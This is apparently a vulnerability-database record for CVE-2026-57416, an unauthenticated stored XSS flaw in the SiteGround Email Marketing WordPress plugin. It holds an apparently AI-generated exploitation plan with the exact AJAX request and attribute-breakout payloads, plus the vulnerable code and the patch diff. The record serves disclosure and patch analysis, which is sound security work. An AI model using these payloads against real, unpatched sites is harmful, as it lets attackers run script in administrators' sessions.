[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fcmENi4iiG_ArKNQnUiuaTFwiu_oZq5dJf7H-XVClFeE":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":32,"research_vulnerable_code":33,"research_fix_diff":34,"research_exploit_outline":35,"research_model_used":36,"research_started_at":37,"research_completed_at":38,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":29,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":29,"source_links":39},"CVE-2026-57416","siteground-email-marketing-unauthenticated-stored-cross-site-scripting","SiteGround Email Marketing \u003C= 1.7.5 - Unauthenticated Stored Cross-Site Scripting","The SiteGround Email Marketing plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.7.5 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","siteground-email-marketing",null,"\u003C=1.7.5","1.7.6","high",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-08 00:00:00","2026-07-14 19:25:09",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F4b8462ed-6228-42e8-be92-8e02ecd55ae5?source=api-prod",7,[22,23,24,25,26,27],"README.md","assets\u002Fjs\u002Fintegrations\u002Fwpforms\u002Fwpforms-editor.js","core\u002FIntegrations\u002FThirdParty\u002FWPForms\u002FSGWPMAIL_WPForms_Field.php","core\u002FIntegrations\u002FThirdParty\u002FWPForms\u002FWPForms.php","sg-email-marketing.php","vendor\u002Fsiteground\u002Fsiteground-helper\u002Fsrc\u002FHelper_Service.php","researched",false,3,"This exploitation research plan targets **CVE-2026-57416**, an unauthenticated stored Cross-Site Scripting (XSS) vulnerability in the **SiteGround Email Marketing** plugin for WordPress.\n\n### 1. Vulnerability Summary\nThe vulnerability exists in the plugin's integration with **WPForms**. Specifically, the AJAX handler `sg_email_marketing_wpforms_save_post` lacks any authentication or authorization checks (no `current_user_can`) and does not verify a WordPress nonce. Furthermore, the stored data is rendered in the WPForms editor without proper escaping, allowing for attribute breakout and script injection.\n\n### 2. Attack Vector Analysis\n*   **Endpoint:** `wp-admin\u002Fadmin-ajax.php`\n*   **Action:** `sg_email_marketing_wpforms_save_post`\n*   **Vulnerable Parameter:** `sg_email_marketing_groups` (Must be a JSON-encoded array)\n*   **Target Parameter:** `form_id` (The ID of an existing WPForm post)\n*   **Authentication:** None (Unauthenticated).\n*   **Preconditions:** \n    *   The \"WPForms\" plugin must be installed and active.\n    *   At least one form must exist (to target its `form_id`).\n\n### 3. Code Flow\n1.  **Entry Point (Storage):** The `WPForms::save_form()` method in `core\u002FIntegrations\u002FThirdParty\u002FWPForms\u002FWPForms.php` is triggered by the AJAX action.\n2.  **Lack of Security:** The code explicitly ignores nonce verification (per the `\u002F\u002F phpcs:ignore` comment) and fails to check user capabilities.\n3.  **Storage:** The `sg_email_marketing_groups` parameter is `json_decode`'d and saved as post meta for the specified `form_id`:\n    ```php\n    update_post_meta( esc_attr( $_POST['form_id'] ), 'sg_email_marketing_groups', json_decode( stripslashes( $_POST['sg_email_marketing_groups'] ) ) );\n    ```\n4.  **Retrieval:** When an administrator opens the WPForms builder, `WPForms::update_groups()` (in `WPForms.php`) retrieves this meta and adds it to the form's field data.\n5.  **Sink (Output):** The data is passed to `SGWPMAIL_WPForms_Field::field_element_select2()` in `core\u002FIntegrations\u002FThirdParty\u002FWPForms\u002FSGWPMAIL_WPForms_Field.php`.\n6.  **Vulnerable Rendering:** The value is `wp_json_encode`'d and placed directly into an attribute using single quotes without escaping:\n    ```php\n    $attrs .= $arg_key . '=\\'' . $val . '\\''; \u002F\u002F $val is the JSON-encoded array\n    \u002F\u002F ...\n    $output = sprintf( '\u003Cselect ... %s>', ..., $attrs );\n    ```\n    Because the attribute value is wrapped in single quotes (`'`), any single quote within the JSON-encoded `sg_email_marketing_groups` will break out of the attribute.\n\n### 4. Nonce Acquisition Strategy\n*   **Requirement:** None. \n*   **Analysis:** Reviewing `core\u002FIntegrations\u002FThirdParty\u002FWPForms\u002FWPForms.php`, the `save_form` function contains a deliberate bypass for PHPCS nonce warnings: `\u002F\u002F phpcs:ignore WordPress.Security.NonceVerification.Missing`. The AJAX action is accessible to any user without a nonce.\n\n### 5. Exploitation Strategy\nThe goal is to inject a payload that executes when an admin views the settings of an \"SG Email Marketing\" field within the WPForms builder.\n\n**Step 1: Identify a valid Form ID**\nThe agent should list existing forms to find a target `form_id`.\n```bash\nwp post list --post_type=wpforms --format=ids\n```\n\n**Step 2: Inject the Stored XSS Payload**\nWe send an unauthenticated POST request. The payload uses a single quote to break out of the `data-selected` attribute used in the plugin's Select2 implementation.\n\n*   **URL:** `http:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Method:** `POST`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Payload:**\n    *   `action`: `sg_email_marketing_wpforms_save_post`\n    *   `form_id`: `\u003CTARGET_FORM_ID>`\n    *   `sg_email_marketing_groups`: `[\"x' onfocus='alert(document.domain)' autofocus='x\"]`\n\n**Step 3: Trigger the XSS**\nAn administrator must navigate to:\n`http:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin.php?page=wpforms-builder&view=fields&form_id=\u003CTARGET_FORM_ID>`\nAnd click on the \"SG Email Marketing\" field (if it exists) or simply load the builder if the field is present.\n\n### 6. Test Data Setup\n1.  **Install Plugins:**\n    ```bash\n    wp plugin install wpforms-lite --activate\n    wp plugin install siteground-email-marketing --version=1.7.5 --activate\n    ```\n2.  **Create a Form:**\n    Create a simple form via WP-CLI or browser.\n3.  **Add the Vulnerable Field:**\n    The form must contain the \"SG Email Marketing\" field. If not present, the `update_groups` logic might not trigger the render path, although the meta will still be stored.\n    ```bash\n    # Note: Adding a specific field type to WPForms via CLI is complex; \n    # if necessary, use browser_navigate to manually add the 'sg_email_marketing' field.\n    ```\n\n### 7. Expected Results\n*   The `admin-ajax.php` request should return a `200 OK` (often with a `0` or empty response, as `save_form` does not call `wp_die()` or return data).\n*   The database will now contain the malicious payload in the `wp_postmeta` table for the target form.\n*   Upon an administrator loading the WPForms builder for that form, the browser will execute `alert(document.domain)`.\n\n### 8. Verification Steps\nAfter sending the HTTP request, verify the storage via WP-CLI:\n```bash\nwp post meta get \u003CTARGET_FORM_ID> sg_email_marketing_groups\n```\n**Expected Output:**\n`[\"x' onfocus='alert(document.domain)' autofocus='x\"]`\n\n### 9. Alternative Approaches\nIf the `onfocus` payload is filtered by browser protections (unlikely for stored XSS in attributes), use a standard breakout:\n*   **Payload:** `[\"'>\u003Cscript>alert(1)\u003C\u002Fscript>\"]`\n*   **Resulting HTML:** `\u003Cselect ... data-selected='[\"'>\u003Cscript>alert(1)\u003C\u002Fscript>\"]' ...>`\n*   **Logic:** The `'>` sequence closes the `data-selected` attribute AND the `\u003Cselect>` tag, allowing the `\u003Cscript>` tag to render in the DOM.","The SiteGround Email Marketing plugin (\u003C= 1.7.5) is vulnerable to unauthenticated stored Cross-Site Scripting due to a lack of authorization and nonce verification in its AJAX handler for WPForms integration. Attackers can inject malicious scripts into form metadata that are subsequently executed in an administrator's browser session when they visit the WPForms editor.","\u002F\u002F core\u002FIntegrations\u002FThirdParty\u002FWPForms\u002FWPForms.php line 106\n\tpublic function save_form() {\n\t\tif ( isset( $_POST['form_id'] ) && isset( $_POST['sg_email_marketing_groups'] ) ) { \u002F\u002F phpcs:ignore WordPress.Security.NonceVerification.Missing\n\t\t\tupdate_post_meta( esc_attr( $_POST['form_id'] ), 'sg_email_marketing_groups', json_decode( stripslashes( $_POST['sg_email_marketing_groups'] ) ) ); \u002F\u002F phpcs:ignore\n\t\t}\n\t}\n\n---\n\n\u002F\u002F core\u002FIntegrations\u002FThirdParty\u002FWPForms\u002FSGWPMAIL_WPForms_Field.php line 171\n\t\tif ( ! empty( $args['attrs'] ) ) {\n\t\t\tforeach ( $args['attrs'] as $arg_key => $val ) {\n\t\t\t\tif ( is_array( $val ) ) {\n\t\t\t\t\t$val = wp_json_encode( $val );\n\t\t\t\t}\n\t\t\t\t$attrs .= $arg_key . '=\\'' . $val . '\\'';\n\t\t\t}\n\t\t}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsiteground-email-marketing\u002F1.7.5\u002Fassets\u002Fjs\u002Fintegrations\u002Fwpforms\u002Fwpforms-editor.js \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsiteground-email-marketing\u002F1.7.6\u002Fassets\u002Fjs\u002Fintegrations\u002Fwpforms\u002Fwpforms-editor.js\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsiteground-email-marketing\u002F1.7.5\u002Fassets\u002Fjs\u002Fintegrations\u002Fwpforms\u002Fwpforms-editor.js\t2026-05-07 12:25:58.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsiteground-email-marketing\u002F1.7.6\u002Fassets\u002Fjs\u002Fintegrations\u002Fwpforms\u002Fwpforms-editor.js\t2026-06-22 09:29:04.000000000 +0000\n@@ -9,7 +9,8 @@\n     method: 'POST',\n     data: {\n       'sg_email_marketing_groups' : JSON.stringify( groups_data ),\n-      'form_id' : form_id\n+      'form_id' : form_id,\n+      'nonce' : sgEmailMarketingWPForms.nonce\n     }\n   });\n });\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsiteground-email-marketing\u002F1.7.5\u002Fcore\u002FIntegrations\u002FThirdParty\u002FWPForms\u002FSGWPMAIL_WPForms_Field.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsiteground-email-marketing\u002F1.7.6\u002Fcore\u002FIntegrations\u002FThirdParty\u002FWPForms\u002FSGWPMAIL_WPForms_Field.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsiteground-email-marketing\u002F1.7.5\u002Fcore\u002FIntegrations\u002FThirdParty\u002FWPForms\u002FSGWPMAIL_WPForms_Field.php\t2026-05-07 12:25:58.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsiteground-email-marketing\u002F1.7.6\u002Fcore\u002FIntegrations\u002FThirdParty\u002FWPForms\u002FSGWPMAIL_WPForms_Field.php\t2026-06-22 09:29:04.000000000 +0000\n@@ -175,7 +175,7 @@\n \t\t\t\tif ( is_array( $val ) ) {\n \t\t\t\t\t$val = wp_json_encode( $val );\n \t\t\t\t}\n-\t\t\t\t$attrs .= $arg_key . '=\\'' . $val . '\\'';\n+\t\t\t\t$attrs .= $arg_key . '=\\'' . esc_attr( $val ) . '\\'';\n \t\t\t}\n \t\t}\n \ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsiteground-email-marketing\u002F1.7.5\u002Fcore\u002FIntegrations\u002FThirdParty\u002FWPForms\u002FWPForms.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsiteground-email-marketing\u002F1.7.6\u002Fcore\u002FIntegrations\u002FThirdParty\u002FWPForms\u002FWPForms.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsiteground-email-marketing\u002F1.7.5\u002Fcore\u002FIntegrations\u002FThirdParty\u002FWPForms\u002FWPForms.php\t2026-05-07 12:25:58.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsiteground-email-marketing\u002F1.7.6\u002Fcore\u002FIntegrations\u002FThirdParty\u002FWPForms\u002FWPForms.php\t2026-06-22 09:29:04.000000000 +0000\n@@ -88,6 +88,14 @@\n \t\t\t\\SG_Email_Marketing\\VERSION,\n \t\t\ttrue\n \t\t);\n+\n+\t\twp_localize_script(\n+\t\t\t'sg-email-marketing-wp-forms-integration',\n+\t\t\t'sgEmailMarketingWPForms',\n+\t\t\tarray(\n+\t\t\t\t'nonce' => wp_create_nonce( 'sg_email_marketing_wpforms' ),\n+\t\t\t)\n+\t\t);\n \t\twp_enqueue_style(\n \t\t\t'sg-email-marketing-wpforms-integration',\n \t\t\t\\SG_Email_Marketing\\URL . '\u002Fassets\u002Fcss\u002Fintegrations\u002Fwpforms\u002Fwpforms-editor.css',\n@@ -104,6 +112,8 @@\n \t * @return void\n \t *\u002F\n \tpublic function save_form() {\n+\t\tcheck_ajax_referer( 'sg_email_marketing_wpforms', 'nonce' );\n+\n \t\tif ( isset( $_POST['form_id'] ) && isset( $_POST['sg_email_marketing_groups'] ) ) { \u002F\u002F phpcs:ignore WordPress.Security.NonceVerification.Missing\n \t\t\tupdate_post_meta( esc_attr( $_POST['form_id'] ), 'sg_email_marketing_groups', json_decode( stripslashes( $_POST['sg_email_marketing_groups'] ) ) ); \u002F\u002F phpcs:ignore\n \t\t}","The exploit targets the `sg_email_marketing_wpforms_save_post` AJAX endpoint, which is accessible to unauthenticated users. An attacker sends a POST request to `wp-admin\u002Fadmin-ajax.php` with the following parameters: `action` set to the vulnerable handler, `form_id` targeting an existing WPForm, and `sg_email_marketing_groups` containing a JSON-encoded array. The payload string inside this array uses a single quote to break out of the single-quoted `data-selected` attribute in the generated HTML (e.g., `[\"x' onfocus='alert(1)' autofocus='x\"]`). When an administrator views the WPForms builder for that specific form, the injected attribute triggers script execution.","gemini-3-flash-preview","2026-07-16 14:41:56","2026-07-16 14:42:58",{"type":40,"vulnerable_version":41,"fixed_version":11,"vulnerable_browse":42,"vulnerable_zip":43,"fixed_browse":44,"fixed_zip":45,"all_tags":46},"plugin","1.7.5","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsiteground-email-marketing\u002Ftags\u002F1.7.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsiteground-email-marketing.1.7.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsiteground-email-marketing\u002Ftags\u002F1.7.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fsiteground-email-marketing.1.7.6.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsiteground-email-marketing\u002Ftags"]